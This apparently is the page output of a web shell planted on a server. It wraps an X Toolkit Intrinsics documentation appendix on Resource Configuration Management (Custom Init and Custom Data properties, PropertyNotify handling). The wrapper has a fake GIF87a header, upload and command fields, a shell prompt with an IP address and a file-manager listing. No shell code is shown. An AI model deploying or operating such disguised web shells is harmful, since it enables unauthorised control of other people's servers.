GIF87a; 404

MY HEART




Upload:

Command:

diavoloapp@18.222.184.40: ~ $
<appendix id='Resource_Configuration_Management'>
<title>Resource Configuration Management</title>
<para>
Setting and changing resources in X applications can be difficult for
both the application programmer and the end user.  <emphasis role='strong'>Resource
Configuration Management (RCM)</emphasis> addresses this problem by changing
the <function>X Intrinsics</function> to immediately modify a resource for a
specified widget and each child widget in the hierarchy.
In this context, immediate means: no sourcing of a resource
file is required; the application does not need to be restarted for the
new resource values to take effect; and the change
occurs immediately.
</para>

<para>
The main difference between <function>RCM</function> and the <function>Editres</function>
protocol is that the <function>RCM</function>
customizing hooks reside in the <function>Intrinsics</function> and thus are linked with
other toolkits such as Motif and the Athena widgets.  However, the
<function>EditRes</function> protocol requires the application to link with the
<function>EditRes</function>
routines in the Xmu library and Xmu is not used by all applications that
use Motif.  Also, the <function>EditRes</function> protocol uses ClientMessage,
whereas the
<function>RCM</function> <function>Intrinsics</function> hooks use <function>PropertyNotify</function> events.
</para>

<para>
X Properties and the <function>PropertyNotify</function> events are used
to implement <function>RCM</function> and
allow on-the-fly resource customization.  When the X Toolkit is
initialized, two atoms are interned with the strings
<emphasis remap='I'>Custom Init</emphasis> and
<emphasis remap='I'>Custom Data</emphasis>.  Both
<function>_XtCreatePopupShell</function>
and
<function>_XtAppCreateShell</function>
register a <function>PropertyNotify</function> event handler to handle these properties.
</para>

<para>
A customization tool uses the <emphasis remap='I'>Custom Init</emphasis> property to <emphasis remap='I'>ping</emphasis> an
application to get the application's toplevel window.  When the
application's property notify event handler is invoked, the handler
deletes the property.  No data is transferred in this property.
</para>

<para>
A customization tool uses the <emphasis remap='I'>Custom Data</emphasis> property to tell an
application that it should change a resource's value.  The data in
the property contains the length of the resource name (the number
of bytes in the resource name), the resource name and the new
value for the resource.  This property's type is <function>XA_STRING</function> and
the format of the string is:
</para>
<orderedlist>
  <listitem>
    <para>
The length of the resource name (the number of bytes in
the resource name)
    </para>
  </listitem>
  <listitem>
    <para>
One space character
    </para>
  </listitem>
  <listitem>
    <para>
The resource name
    </para>
  </listitem>
  <listitem>
    <para>
One space character
    </para>
  </listitem>
  <listitem>
    <para>
The resource value
    </para>
  </listitem>
</orderedlist>
<para>
When setting the application's resource, the event handler calls
functions to walk the application's widget tree, determining which
widgets are affected by the resource string, and then applying the value
with
<xref linkend='XtSetValues' xrefstyle='select: title'/>.
As the widget tree is recursively descended, at
each level in the widget tree a resource part is tested for a match.
When the entire resource string has been matched, the value is applied
to the widget or widgets.
</para>

<para>
Before a value is set on a widget, it is first determined if the last
part of the resource is a valid resource for that widget.  It must also
add the resource to the application's resource database and then query
it using specific resource strings that is builds from the widget
information.
</para>
</appendix>

Filemanager

Name Type Size Permission Actions
CH01.xml File 87.1 KB 0644
CH02.xml File 139.66 KB 0644
CH03.xml File 42.83 KB 0644
CH04.xml File 76.24 KB 0644
CH05.xml File 30.26 KB 0644
CH06.xml File 42.49 KB 0644
CH07.xml File 147.21 KB 0644
CH08.xml File 17.18 KB 0644
CH09.xml File 133.29 KB 0644
CH10.xml File 66.05 KB 0644
CH11.xml File 164.19 KB 0644
CH12.xml File 33.07 KB 0644
CH13.xml File 29.96 KB 0644
COPYING File 5.54 KB 0644
acknowledgement.xml File 8.54 KB 0644
appA.xml File 3.56 KB 0644
appB.xml File 31.74 KB 0644
appC.xml File 55.04 KB 0644
appD.xml File 27.74 KB 0644
appE.xml File 37.79 KB 0644
appF.xml File 3.8 KB 0644
intrinsics.xml File 5.18 KB 0644
preface.xml File 2.67 KB 0644